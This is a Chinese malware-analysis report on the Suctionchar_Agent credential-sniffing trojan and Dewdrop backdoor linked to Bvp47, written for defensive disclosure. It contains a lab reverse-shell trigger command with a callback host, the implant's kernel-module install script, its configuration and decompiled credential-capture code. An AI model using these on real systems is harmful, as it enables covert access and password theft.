



# Bvp47

技术细节报告 II — 关键组件深度揭秘

版本1.7

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# 1. 报告概述

在报告“Bvp47-美国NSA方程式组织的顶级后门”（参考1）的描述中，Bvp47本身像是一个巨大的壳或压缩包，共包含了18个分片，盘古实验室展示了对于Bvp47后门程序的归属分析和部分技术细节的描述，比如BPF隐蔽隧道，但依然还有部分其他模块值得深入探究，这些模块既可以作为Bvp47的一部分一起执行任务，也可以被独立使用。

在2015年对国内某国家重要关键信息基础设施的Solaris系统取证中，盘古实验室提取到了一份独立存活于Solaris平台看起来与Bvp47关系密切的样本，后经确认，样本文件内容与“影子经纪人”（The Shadow Brokers）揭露出的“饮茶”（Suctionchar\_Agent）木马程序原文件一致。该木马程序搭配Bvp47中的Dewdrop、Incision等模块和控制程序tipoff，可以轻松窃取目标系统用户在执行ssh、passwd、sudo等命令时的账号密码，随即将其隐蔽保存在目标系统中。这些被加密隐藏的密码文件同样也需要RSA算法的私钥来解密。


有证据表明，美国国家安全局（NSA）利用类似“饮茶”（Suctionchar\_Agent）木马程序窃取了世界各国难以确切估量的账号密码，在美国各地建立了多个高度机密的账号密码海量数据存储中心，供美国国家安全局（NSA）的行动部门TAO随时查询并“合法”进入受害者的信息系统。

追踪Bvp47的过程更像是在摸索一张迷雾下的拼图，这份报告将会通过对“饮茶”（Suctionchar\_Agent）、Dewdrop、Bvp47\_loader等程序和系统模块的技术分析来进一步理解Bvp47这个顶级后门平台的部分工作方式和执行逻辑。

# 2. “饮茶” 嗅探木马 ( Suctionchar\_Agent ) 攻击场景还原

## 攻击场景

经过全面而深入的技术模拟分析，盘古实验室还原了“饮茶”嗅探木马 ( Suctionchar\_Agent ) 与Bvp47后门程序其他组件配合实施联合攻击的场景，具体执行过程如下图所示：



1. 运行于内核层的sum会辅助“饮茶”嗅探木马 ( Suctionchar\_Agent ) 窃取passwd、telnet、su等进程中的账号密码；
2. 窃取到的账号密码会同步发送给运行于Ring3的“饮茶”嗅探木马 ( Suctionchar\_Agent )；
3. “饮茶”嗅探木马 ( Suctionchar\_Agent ) 会将账号密码保存到名为“/var/tmp/.xxxxxxx”的隐藏目录中；
4. 美国国家安全局 ( NSA ) 的攻击实施者远程发送执行ish反弹的触发包到内核层的BPF过滤程序；



5. BPF过滤器捕获到特征包后传送给Ring3的Dewdrop程序模块；
6. Dewdrop进行数据包解密并收到ish反弹指令，随即转送给Incision程序；
7. Incision程序主动回联到callback地址，美国国家安全局（NSA）的攻击实施者利用ish接受窃取的密码文件；
8. 美国国家安全局（NSA）的攻击实施者将被RSA公钥加密的密码文件进行私钥解密并还原密码文件；

## ■ 场景复现

1. 运行tipoff控制端程序，功能列表如下：

```
./tipoff -h
usage: ./tipoff [options]

* -t, --destination-address address[:port] - The address to send the trigger packet to
+ -p, --destination-port port - Port to use for sending trigger -R, --trigger-address address - The target address to use in the trigger
command data, required when using nat with
a trigger packet. The target address is used
by default.

* -a, --callback-address address[:port] - The trigger callback address
* -c, --callback-port port - The trigger callback port
-s, --source-address address[:port] - Use this source address for the trigger
-u, --source-port port - Use this port when sending tcp/udp
* -r, --protocol, --transport protocol - Transport layer protocol used to send trigger (tcp/udp/icmp)
-A, --application protocol - Application layer protocol used to send trigger (dns/smtp/sip)
-C, --command command - The command protocol identification value.
-E, --time time - The time to use, in seconds since the epoch
-K, --time-skew skew - The time skew to use, in seconds

-M, --list-icmp-options - List typical icmp options
-l, --icmp-options type,code - icmp type and code fields

-n, --raw-send [<address>:]port - Send raw trigger packet data to this address,
port. The default address is localhost.
-o, --tcp-connect - Establish tcp connection for trigger
-f, --tcp-flags flag[,flag] - tcp flags (syn, fin, rst, push, ack, urg)

-L, --list-firewall-types - Print supported firewall types to stdout
-F, --bypass-firewall type - Bypass firewall (types: pix)

-m, --mail-from address - Use this as `from` address for SMTP/SIP application protocol data
-l, --rcpt-to address - Use this as `to` address for SMTP/SIP application protocol data
-d, --dns-flags bytes - The 16-bit dns flags value

-U, --forward-offset - Use a forward offset trigger packet
-T, --start - The 16-bit start of trigger data value

-i, --start-ish - Start an incision callback listener
-x, --execute file - Use command 0x04 and start execute call back listener with given file

-q, --quiet - Do not print informational messages
-h, --help - This help message

* - Required parameter
+ - Required parameter when using TCP or UDP
```

## 2. 具体功能列表如下:

类别	功能说明
触发协议支持	支持TCP、UDP、ICMP协议
非常规TCP标志支持	syn、fin、ack、rst、push、urg
防火墙穿透支持	PIX或其它；默认支持防火墙穿透，ACL穿透；
支持应用协议	SMTP、SIP、DNS等应用层协议
后门功能1	支持远程启动文件进程
后门功能2	支持远程Shell查看
支持各协议的扩展定制	包括SMTP、DNS、TCP等协议的标记位自定义

## 3. 支持UDP包的远程shell获取

```
[root@localhost Desktop]# ./tipoff --trigger-address 192.168.159.128 --target
-address 192.168.159.128 --target-protocol udp --target-port 738 --callback-a
ddress 192.168.159.129 --callback-port 2468 --start-ish
TRIGGER DATA
COMMAND                = 0x01
DESTINATION ADDRESS    = 192.168.159.128:738
TRANSPORT PROTOCOL    = udp (17)
TIME STAMP             = Sun Mar  6 11:45:07 2022 (1646595907)
TIME SKEW              = 43200
CALLBACK ADDRESS      = 192.168.159.129:2468
SOURCE PORT           = 64259
START OF TRIGGER      = 0x0136

Invoking ISH on port 2468...
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
25146,1
Skipping environment dump...
bash-3.00# █
```

#### 4. UDP报文如下

18301	39829.702057	192.168.159.129	192.168.159.128	UDP	178 64259 → 738 Len=136
18302	39829.702377	192.168.159.128	192.168.159.129	ICMP	206 Destination unreachable (Port unreachable)
18303	39829.702896	192.168.159.128	192.168.159.129	TCP	74 32917 → 2468 [SYN] Seq=0 Win=5840 Len=0
18304	39829.703140	192.168.159.129	192.168.159.128	TCP	74 2468 → 32917 [SYN, ACK] Seq=0 Ack=1 Win=5840
18305	39829.703448	192.168.159.128	192.168.159.129	TCP	66 32917 → 2468 [ACK] Seq=1 Ack=1 Win=5840
18306	39829.703657	192.168.159.128	192.168.159.129	TCP	194 32917 → 2468 [PSH, ACK] Seq=1 Ack=1 Win=5840
18307	39829.703851	192.168.159.129	192.168.159.128	TCP	66 2468 → 32917 [ACK] Seq=1 Ack=129 Win=5792
18308	39829.750556	192.168.159.129	192.168.159.128	TCP	74 2468 → 32917 [PSH, ACK] Seq=1 Ack=129 Win=5792
18309	39829.750852	192.168.159.128	192.168.159.129	TCP	66 32917 → 2468 [ACK] Seq=129 Ack=9 Win=5840
18310	39829.751348	192.168.159.129	192.168.159.128	TCP	74 2468 → 32917 [PSH, ACK] Seq=9 Ack=129 Win=5792

> Frame 18301: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface \Device\NPF\_{BD992997-9A45-4A6...}

> Ethernet II, Src: VMware\_de:9c:aa (00:0c:29:de:9c:aa), Dst: VMware\_2a:ff:ac (00:0c:29:2a:ff:ac)

> Internet Protocol Version 4, Src: 192.168.159.129, Dst: 192.168.159.128

> User Datagram Protocol, Src Port: 64259, Dst Port: 738

▼ Data (136 bytes)

Data: 01369b0ac86e493cd2529f35e607ebe9e98f1ccee566b0a69e51149353d0af139293d07...

```

0000  00 0c 29 2a ff ac 00 0c 29 de 9c aa 08 00 45 00  ..)*.... ).....E.
0010  00 a4 00 01 00 00 40 11 b9 f5 c0 a8 9f 81 c0 a8  .....@. ....
0020  9f 80 fb 03 02 e2 00 90 f4 cd 01 36 9b 0a c8 6e  .....6...n
0030  49 3c d2 52 9f 35 e6 07 eb e9 e9 8f 1c ee eb 56  I<·R·5·····V
0040  6b 0a 69 e5 11 49 35 3d 0a f1 39 29 3d 07 e5 b5  k·i·I5= ··9)=...
0050  14 46 74 e0 c3 b9 8b 85 a0 c2 d3 60 e8 f3 ef 18  ·Ft····· ···`···
0060  5e fc d4 89 3a 42 2e 4d f5 bd c9 3f e7 0c ac c5  ^···:B.M ···?·.
0070  50 50 03 24 0f df 1a 50 f8 4b fa 92 45 3d 8a d3  PP·$···P ·K·E=...
0080  06 55 02 5a ee ef 88 86 46 90 46 44 ad 43 9e 15  ·U·Z··· F·FD·C·
0090  db 01 92 7e 03 c9 ac 7d 12 78 38 d4 ce 84 72 ad  ·····} ·x8···r·
00a0  ca 9d 23 94 ae 93 e0 31 11 18 7d d2 e6 47 01 10  ··#···1 ··}·G·
00b0  9c 5c
    
```

#### 5. 在获取到的shell中可以看到被隐藏的进程和文件

```

root      5697   5562   0 00:28 pts/2    00:00:00 bash
root      6116     1   0 01:23 ?          00:00:00 cupsd
root     24682     1   0 08:20 ?          00:00:00 /usr/bin/modload

root     24683 24682   0 08:20 ?          00:00:00 /usr/bin/modload

root     24684     1   0 08:20 ?          00:00:00 /usr/bin/modload

root     25146     1   0 11:45 ?          00:00:00 /usr/bin/modload

root     25147 25146   0 11:45 pts/3    00:00:00 /bin/bash --posix +o history
root     25178 25147   0 11:46 pts/3    00:00:00 ps -ef
bash-3.00#
    
```

6. “/var/tmp/” 目录下被加密的文件如下

```
bash-3.00# pwd
/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2eaa6e60
bash-3.00# ls -l
total 4
-rw----- 1 root root 154 Mar  9 09:07 d5373a146ff9f200a2376054dde25677
```

7. 使用suctionchar\_decode对 “/var/tmp/” 目录下被加密的文件解密：

```
[root@localhost Desktop]# ./suctionchar_decode__v__3.3.9.27_x86_64-linux-re
it-enterprise-4.9 444
\reating file "20220308033113_19577_passwd_test"
```



# 3. “饮茶” 嗅探木马 ( Suctionchar\_Agent ) 技术细节

## ■ 文件信息

样本关联溯源发现，盘古实验室2015年提取到的样本为“影子经纪人”（The Shadow Brokers）泄漏的文件之一，即suctionchar\_agent\_v\_3.3.7.9\_sparc-sun-solaris2.9，文件相关信息如下：

样本信息概要说明：

文件名称	未知
文件哈希(MD5)	a633c1ce5a4730dafa8623a62927791f
文件大小(字节)	47,144
The Shadow Brokers具体包名称	suctionchar_agents.tar.bz2
原始文件名称	suctionchar_agent_v_3.3.7.9_sparc-sun-solaris2.9
功能目标	窃取SSH、TELNET、FTP、PASSWD、SU、RSH、LOGIN、CSH等程序中的账号密码信息。
CPU架构	SPARC
隐藏路径2	/var/tmp/.xxxxxxxxxxxxx

鉴于盘古实验室提取的样本本身为SPARC架构，比较少见，为方便读者理解并采取有效措施进行防范，我们选择基于x86架构、功能相同的木马程序样本进行分析，具体x86架构的文件信息如下：

## 样本信息概要说明：

文件名称	suctionchar_agent_v_2.0.28.2_x86-linux-centos-5.1
文件哈希(MD5)	4a5b7a9c5d41dbe61c669ed4cf2975e5
文件大小(字节)	31,649
The Shadow Brokers具体包名称	suctionchar_agents.tar.bz2
原始文件名称	suctionchar_agent_v_2.0.28.2_x86-linux-centos-5.1
功能目标	窃取SSH、TELNET、FTP、PASSWD、SU、RSH、LOGIN、CSH等程序中的账号密码信息。
CPU架构	X86
Bvp47对应分片	0x0E
隐藏路径2	/var/tmp/.xxxxxxxxxxxxx

## 样本关联

根据盘古实验室提取的“饮茶”嗅探木马样本（Suctionchar\_Agent），研究人员从“影子经纪人”（The Shadow Brokers）揭露出的文件中找到了对应的原始文件为“linux/bin/suctionchar\_agents.tar.bz2/suctionchar\_agent\_v\_3.3.7.9\_sparc-sun-solaris2.9”，二者几乎完全一致。相关压缩包中还包含了适合多个平台和版本的“suctionchar”木马程序，文件最早可追溯到2007年：



..		
📁	suctionchar_agent_v_1.5.17.7_x86-linux-centos-5.4	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.10.1_x86-linux-mandriva-2006	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.10.4_x86-linux-redhat-enterpr...	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.11.2_x86-linux-redhat-enterpr...	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.11.3_x86-linux-slackware-10.2	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.12.1_sparc-sun-solaris2.7	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.13.1_x86-linux-fedora5	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.13.2_x86-linux-fedora6	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.13.4_x86-linux-redhat-7.3	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.17.1_x86-linux-suse-8.2	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.17.3_x86-linux-suse-10.0	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.17.4_x86-linux-tilttop-gate.nto	Added all the files inside compressed bz2 and gz files 5 years ago
📁	suctionchar_agent_v_2.0.18.1_x86-freebsd-6.2	Added all the files inside compressed bz2 and gz files 5 years ago

## ● 字符串解密

如下图所见，字符串加密也就是“Bvp47”研究报告中所描述的0x47函数加密：

```
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60
0804CF60 55
0804CF61 89 E5
0804CF63 57
0804CF64 BF 01 00 00 00
0804CF69 56
0804CF6A 53
0804CF6B 83 EC 08
0804CF6E 8B 75 0C
0804CF71 8B 5D 08
0804CF74 0F B6 06
0804CF77 46
0804CF78 88 45 F3
0804CF7B 8B 45 10
0804CF7E 40
0804CF7F 89 45 EC
0804CF82 39 C7
0804CF84 73 27
0804CF86 8D 76 00
0804CF89 8D BC 27 00 00 00 00
0804CF90
0804CF90
0804CF90 0F B6 06
0804CF93 89 F9
0804CF95 47
0804CF96 0F B6 55 F3
0804CF9A 46
0804CF9B 30 C2
0804CF9D 30 CA
0804CF9F 80 F2 47
0804FA2 88 13
0804FA4 43
0804FA5 00 45 F3
0804FA8 3B 7D EC
0804FAB 72 E3
0804CFAD
0804CFAD
0804CFAD 8B 45 08
0804CFB0 83 C4 08
0804CFB3 5B
0804CFB4 5E
0804CFB5 5F
0804CFB6 5D
0804CFB7 C3
0804CFB7

sub_804CF60 proc near ; CODE XREF: sub_8049840+401p
; sub_8049EF0+49Tp ...
var_14 = dword ptr -14h
var_D = byte ptr -0Dh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
mov edi, 1
push esi
push ebx
sub esp, 8
mov esi, [ebp+arg_4]
mov ebx, [ebp+arg_0]
movzx eax, byte ptr [esi]
inc esi
mov [ebp+var_D], al
mov eax, [ebp+arg_8]
inc eax
mov [ebp+var_14], eax
cmp edi, eax
jnb short loc_804CFAD
lea esi, [esi+0]
lea edi, [edi+0]
loc_804CF90: ; CODE XREF: sub_804CF60+4B4j
movzx eax, byte ptr [esi]
mov ecx, edi
inc edi
movzx edx, [ebp+var_D]
inc esi
xor dl, al
xor dl, cl
xor dl, 47h
mov [ebx], dl
inc ebx
add [ebp+var_D], al
cmp edi, [ebp+var_14]
jnb short loc_804CF90
loc_804CFAD: ; CODE XREF: sub_804CF60+241j
mov eax, [ebp+arg_0]
add esp, 8
pop ebx
pop esi
pop edi
pop ebp
retn
sub_804CF60 endp
```

解密后的字符串列表如下：

Address	Length	Type	String
.rodata:08006...	0000000A	C	/dev/null
.rodata:08006...	00000021	C	a0b973925e397d9acd80e85e2eaa6e60
.rodata:08007...	00000008	C	%s#fork
.rodata:08007...	00000007	C	(null)
.rodata:08007...	0000000A	C	^/dev/tty
.rodata:08007...	00000038	C	^((/usr(/local)?)/s?bin/)?(ssh telnet ftp passwd)( \$)
.rodata:08007...	00000021	C	d5373a146ff9f200a2376054dde25677
.rodata:08007...	00000021	C	dc9cb44a723d0e75201d933159834173
.rodata:08007...	00000021	C	dc9cb44a723d0e75201d933159834173
.rodata:08007...	00000006	C	/proc
.rodata:08007...	0000000D	C	/proc/%s/exe
.rodata:08007...	00000011	C	/proc/%s/cmdline
.rodata:08007...	0000000C	C	/dev/random
.rodata:08007...	0000000D	C	/dev/urandom

相关解密脚本如下：

```
tgs = []
for addr in range(ea_start, ea_end):
    if idc.get_name(addr) != '':
        tgs.append(addr)
tgs.append(ea_end)
for i in range(0, len(tgs)):
    bdec = b''
    length = tgs[i + 1] - tgs[i]
    benc = ida_bytes.get_bytes(tgs[i], length)
    x = benc[0]
    for j in range(1, len(benc)):
        bdec += struct.pack('<B', benc[j] ^ 0x47 ^ x ^ j)
        if bdec[-1] == 0:
            break
        x = (x + benc[j]) & 0xff
    ida_bytes.put_bytes(tgs[i], bdec)
    ida_bytes.create_strlit(tgs[i], tgs[i] + len(bdec), idc.get_inf_attr(idc.INF_STRTYPE))
    print('%x, %x, %x, %s' % (tgs[i], length, tgs[i], bdec))
```



## ● 功能模块设计

文件“Linux\etc\opscript.txt”中对Suctionchar\_Agent的功能作了相关说明，即驻留窃取SSH、TELNET、FTP、PASSWD、SU、RSH、LOGIN、CSH等程序中的账号密码信息。“饮茶”(Suctionchar\_Agent)程序是这个木马程序的应用层代理，它与相关联的内核模块通信，接收所需信息并加密写入文件。内核模块sum文件(The Shadow Brokers Leaks未包含该文件)可由mod-load程序加载，成功加载内核模块后会清空落地的文件，防止内容被恢复：

```
#####
# SUCTIONCHAR
#####
# 32 or 64 bit OS - solaris sparc 8,9
# Kernel level implant - transparent, sustained, or realtime
# interception of procoess input/output vnode traffic.
# retrieve later

# filter: ssh, telnet, rlogin, rsh, password, login, csh , su

# max bytes collected per session is 32 kilobytes
# max bytes collected for all sessions is 1 megabyte
# don't take up more than 1% of system's memory

# to determine if suctionchar is loaded on a system is to
# open a command channel to the implant as described in
# authenticate and yyserv tool and demo sections. If this
# fails and receives the error "Bad Address" when trying to
# modload the instant grat module; function call needs patch
# can't be found, probably because already been patched by a
# version of suctionchar already running

# SUCTIONCHAR will go away at reboot
# if offset involved with target, must set op box time to match target time

# INSTALLING SUCTIONCHAR
uname -a
isainfo -v

-cd /tmp/.scsi

cp /usr/sbin/modload ml
cp /usr/sbin/modinfo mi

### if running 32 AND 64 bit, upload 64 bit:
# 64 bit
-put /current/up/sparcv9/sum sum
# else 32 bit
-put /current/up/sum sum

-lt sum
### install it:
./ml sum

### make sure sum doesn't show up in modinfo:
./mi
```

“饮茶”（Suctionchar\_Agent文件本身既可以使用默认配置，也可以从外部读取配置文件，文件格式主要包括3.x以上版本的xml格式和早期的conf格式。

3.x以上版本的xml格式（“Linux\bin\suctionchar\_configure.xml”）：

```
<!--  
| An example SUCTIONCHAR XML Configuration File  
-->  
<Suctionchar>  
  <!--  
  | The maximum exfiltration file size  
  -->  
  <limit>5242880</limit>  
  
  <!--  
  | Collect on the SSH, TELNET, FTP, and PASSWD clients  
  
  | Passwords are often read "securely" through /dev/tty. The  
  | rest of the session is exchanged over the standard file  
  | descriptors 0, 1, and 2.  
  -->  
  <task>  
    <command>^( (/usr(/local)? )?/s?bin/ )?(ssh|telnet|ftp|passwd)( |$)</command>  
    <limit>51200</limit>  
    <descriptor>0</descriptor>  
    <descriptor>1</descriptor>  
    <descriptor>2</descriptor>  
    <path>^/dev/tty</path>  
  </task>  
</Suctionchar>
```

“Linux\doc\old\etc\suctionchar.sample.filter.conf” :

```
filter 0
| name = ssh
| collect = read AND write
end

filter 1
| name = rsh
| collect = read AND write
| offspring = yes ; rsh forks another process
end

filter 2
| name = telnet
| collect = read AND write
end

filter 3
| name = rlogin
| collect = read AND write
| offspring = yes ; rlogin forks another process
end
```

“饮茶” ( suctionchar\_configure ) 将生成 “dc9cb44a723d0e75201d933159834173” 文件，该文件供Suctionchar\_Agent使用：

```
usage: ./suctionchar_configure__v__3.3.10.3_x86-linux-centos-5.7 [ XML_CONFIG
URATION_FILE | -r ]
```

This tool is used to generate a SUCTIONCHAR binary configuration file from an XML configuration specification. The XML data is read from standard input if no file specified on the command line

This tool can also be used to verify a generated binary file by using the -r option

This tool will always write to and read from the file ./dc9cb44a723d0e75201d933159834173

## ● 密码获取线程

在“饮茶”（Suctionchar\_Agent）中存在一个独立的线程，与内核模块sum保持通信，接收账号密码并写入到/var/tmp/文件夹中，即sub\_8049EF0函数内部：

```
30     if ( v0 )
31     {
32         switch ( v0 )
33         {
34             case 1:
35                 v6 = 5;
36                 v5 = "scp";
37                 break;
38             case 2:
39                 v6 = 8;
40                 v5 = "telnet";
41                 break;
42             case 3:
43                 v6 = 5;
44                 v5 = "ftp";
45                 break;
46             default:
47                 v6 = 8;
48                 v5 = "passwd";
49                 break;
50         }
51     }
52     else
53     {
54         v6 = 5;
55         v5 = "ssh";
56     }
57     if ( v7 > 5u )
58     {
59         v7 = 0;
60         v3 = v9;
61     }
62     else
63     {
64         v2 = v7++;
65         v3 = &v9[16 * v2];
66     }
67     v11 = sub_804CF60(v3, v5, v6);
68     *(_DWORD *)v8 = 0;
69     if ( sub_804C420((int)v8, 1) )
70         break;
71     if ( sub_804C840(*(_DWORD *)v8, v12) )
72         break;
73     if ( sub_804C8C0(*(_DWORD *)v8, 0) )
74         break;
75     if ( sub_804C8C0(*(_DWORD *)v8, 1) )
76         break;
77     if ( sub_804C8C0(*(_DWORD *)v8, 2) )
78         break;
79     if ( sub_804C900(v8[0], v1) )
80         break;
81     if ( sub_804C730(v8[0], v11) )
82         break;
83     result = sub_804AEE0(*(_DWORD *)v8, sub_80497E0, 0);
84     if ( result )
85         break;
86     if ( (unsigned __int8)v0 > 4u )
87         return result;
88 }
89 return 257;
90 }
```



## 回调函数sub\_8049A00 :

```
1|int __cdecl sub_8049A00(char *s, int a2)
2|{
3|  int v2; // edi
4|  int v3; // esi
5|  size_t v5; // ebx
6|  time_t v6; // eax
7|  ssize_t v7; // eax
8|  char v8; // [esp+4Fh] [ebp-89h]
9|  int v9[3]; // [esp+50h] [ebp-88h] BYREF
10| char buf; // [esp+5Fh] [ebp-79h] BYREF
11|  struct stat stat_buf; // [esp+60h] [ebp-78h] BYREF
12|
13|  v2 = -1;
14|  buf = 1;
15|  v8 = 0;
16|  v3 = sub_804DF10(&mutex);
17|  if ( !v3 )
18|  {
19|    v8 = 1;
20|    if ( fd >= 0 )
21|    {
22|      if ( !_fxstat(3, fd, &stat_buf) || stat_buf.st_nlink )
23|        goto LABEL_15;
24|      if ( fd >= 0 )
25|      {
26|        close(fd);
27|        fd = -1;
28|      }
29|    }
30|    fd = open(&g_s, 1090, 384);
31|    if ( fd < 0 )
32|    {
33|LABEL_18:
34|      v3 = -1;
35|      goto LABEL_3;
36|    }
37|LABEL_15:
38|    v2 = lseek(fd, 0, 2);
39|    if ( v2 >= 0 )
40|    {
41|      v5 = strlen(s) + 1;
42|      if ( v5 + v2 + 17 <= 0x500000 )
43|      {
44|        if ( write(fd, &buf, 1u) == 1 )
45|        {
46|          a2 = HIBYTE(a2) | ((unsigned int)a2 >> 8) & 0xFF00 | (BYTE1(a2) << 16) | ((unsigned __int8)a2 << 24);
47|          if ( write(fd, &a2, 4u) == 4 )
48|          {
49|            v6 = time(0);
50|            v9[0] = ((unsigned int)(v6 >> 31) >> 24) | ((unsigned int)(v6 >> 31) >> 8) & 0xFF00 | ((unsigned __int8)((unsigned __int16)(v6 >> 31) >> 8) << 16) | (v6 >> 31 << 24);
51|            v9[1] = HIBYTE(v6) | ((unsigned int)v6 >> 8) & 0xFF00 | (BYTE1(v6) << 16) | ((unsigned __int8)v6 << 24);
52|            if ( write(fd, v9, 8u) == 8 )
53|            {
54|              a2 = HIBYTE(v5) | (v5 >> 8) & 0xFF00 | (BYTE1(v5) << 16) | (v5 << 24);
55|              if ( write(fd, &a2, 4u) == 4 )
56|              {
57|                sub_804D120(s, v5);
58|                v7 = write(fd, s, v5);
59|                if ( v7 >= 0 && v7 == v5 )
60|                  goto LABEL_6;
61|              }

```

## ● 密码保存文件的路径生成算法

在函数get\_hidden\_path\_0804BDF0中描述了隐藏文件 “ /var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2ea6e60/d5373a146ff9f200a2376054dde25677” 的生成算法：

```

1 int __cdecl get_hidden_path_0804BDF0(char *s, int a2)
2 {
3     const char *v3; // eax
4     int v4; // edi
5     char *v5; // eax
6     unsigned int v6; // eax
7     char *format; // [esp+24h] [ebp-1B4h]
8     int v8; // [esp+28h] [ebp-1B0h]
9     __fsblkcnt_t v9; // [esp+2Ch] [ebp-1ACh] BYREF
10    struct stat v10; // [esp+30h] [ebp-1A8h] BYREF
11    char v11[11]; // [esp+90h] [ebp-148h] BYREF
12    char v12[11]; // [esp+98h] [ebp-13Dh] BYREF
13    char v13[11]; // [esp+A6h] [ebp-132h] BYREF
14    char v14[11]; // [esp+B1h] [ebp-127h] BYREF
15    char v15[11]; // [esp+BCh] [ebp-11Ch] BYREF
16    char v16[25]; // [esp+C7h] [ebp-111h] BYREF
17    char *filename[4]; // [esp+E0h] [ebp-F8h]
18    char *file; // [esp+F0h] [ebp-E8h]
19    int v19; // [esp+F4h] [ebp-E4h]
20    struct stat stat_buf; // [esp+100h] [ebp-D8h] BYREF
21    struct statvfs v21; // [esp+160h] [ebp-78h] BYREF
22    int v22[10]; // [esp+1B0h] [ebp-28h] BYREF
23
24    v8 = 0;
25    if ( !s || !a2 )
26        return -268435447;
27    filename[0] = sub_804CF60(v11, "/var/tmp/", 11);
28    filename[1] = sub_804CF60(v12, "/lib/", 7);
29    filename[2] = sub_804CF60(v13, "/dev/", 7);
30    filename[3] = sub_804CF60(v14, "/etc/", 7);
31    file = sub_804CF60(v15, "/", 3);
32    v19 = 0;
33    format = sub_804CF60(v16, a501611x, 12);
34    if ( statvfs(file, &v21) || __xstat(3, file, &stat_buf) )// 获取"/"的iblocks数量
35        return 1536;
36    v3 = filename[0];
37    v4 = 0;
38    if ( filename[0] )
39    {
40        while ( __xstat(3, v3, &v10) || stat_buf.st_dev != v10.st_dev )
41        {
42            v3 = filename[++v4];
43            if ( !v3 )
44                return 1536;
45        }
46        v5 = filename[v4];
47    }
48    else
49    {
50        v5 = 0;
51    }
52    if ( !v5 )
53        return 1536;
54    v9 = v21.f_blocks;
55    sub_804D2F0((int)&v9, 4, (int)v22); // 尝试进行md5计算
56    v6 = sprintf(s, "(_DWORD *)a2, format, filename[v4], v22[0], v22[1] + 1; // 拼接完整路径名称
57    if ( v6 <= "(_DWORD *)a2 )
58    {
59        "(_DWORD *)a2 = v6;
60    }
61    else

```

还原的代码大致如下：

```

md5_context ctx;
unsigned int blocks;
int rv;
struct statvfs buf; rv = statvfs("/", &buf);
blocks = buf.f_blocks;
char path[ 2048 ];
struct stat sbuf;

md5_starts(&ctx);
md5_update(&ctx, (char*)&blocks, 4);
unsigned char out[16];
md5_finish(&ctx, out);

memset( path, 0, sizeof(path) );
sprintf( path, sizeof(path) - sizeof(*path), "/var/tmp/.%016llx/", (
(int*)out)[0], ((int*)out)[1] );

```

## ● “饮茶” 木马 ( suctionchar\_decode ) 程序中的私钥

正如攻击场景一章中所描述的那样，文件 “/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2eaa6e60/d5373a146ff9f200a2376054dde25677” 可以被 “linux\bin\suctionchar\_decode” 程序所解密，加密算法需要用 RSA 私钥解密 RC6 对称密钥后才能解密出文件，同 Dewdrop 模块中的私钥一样，这个 RSA 私钥也可以佐证该后门与 “影子经纪人” ( The Shadow Brokers ) 泄露数据包的关联关系。

```
.text:0804BD68          jmp     loc_804C474
.text:0804BD6D          ; -----
.text:0804BD6D          loc_804BD6D:
.text:0804BD6D          sub     esp, 8          ; CODE XREF: main+211fj
.text:0804BD70          push   offset aOk      ; "ok\n"
.text:0804BD75          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BD7B          call   _fprintf
.text:0804BD80          add    esp, 10h
.text:0804BD83          sub    esp, 8
.text:0804BD86          push   offset aDecryptingInto ; "decrypting into rc6 key and mi..."
.text:0804BD8B          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BD91          call   _fprintf
.text:0804BD96          add    esp, 10h
.text:0804BD99          sub    esp, 0Ch
.text:0804BD9C          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BDA2          call   _fflush
.text:0804BDA7          add    esp, 10h
.text:0804BDAA          sub    esp, 4
.text:0804BDAD          lea   eax, [ebp+var_268]
.text:0804BDB3          push   eax             ; int
.text:0804BDB4          lea   eax, [ebp+var_202F8]
.text:0804BDBA          push   eax             ; s
.text:0804BDBB          lea   eax, [ebp+s]
.text:0804BDC1          push   eax             ; int
.text:0804BDC2          call   rsa_expon_decrypt128 ; RSA私钥解密函数
.text:0804BDC7          add    esp, 10h
.text:0804BDCA          cmp    eax, 1
.text:0804BDCD          jz     short loc_804BDF4
.text:0804BDCF          sub    esp, 8
.text:0804BD02          push   offset aCheckDidNotAut ; "check did not authenticate. something ..."
.text:0804BD07          push   ds:stderr@@GLIBC_2_0 ; stream
.text:0804BD0D          call   _fprintf
.text:0804BDE2          add    esp, 10h
.text:0804BDE5          mov    [ebp+var_20364], 4
.text:0804BDEF          jmp    loc_804C474
.text:0804BDF4          ; -----
.text:0804BDF4          ;
```

# 4. Dewdrop version 3.x 技术细节

Dewdrop模块承担了最主要的隐蔽后门功能，即BPF过滤功能，本章节主要讨论BPF引擎通信对应的实现过程。

## BPF隐蔽通信初始化过程

1. BPF隐蔽后门的初始化是从函数\_554a7941开始的；

```
08001CE EB 1F          jmp     6_1446_0440707, 4
08001D0          ; -----
08001D0          ; CODE XREF: _554a7941+AD4j
loc_80001D0:
08001D0 C7 45 E4 00 00 00 00  mov     [ebp+stat_loc], 0
08001D7 8D 45 E4          lea    eax, [ebp+stat_loc]
08001DA 89 04 24          mov     [esp], eax          ; stat_loc
08001DD EB F6 9C 00 00    call   wait
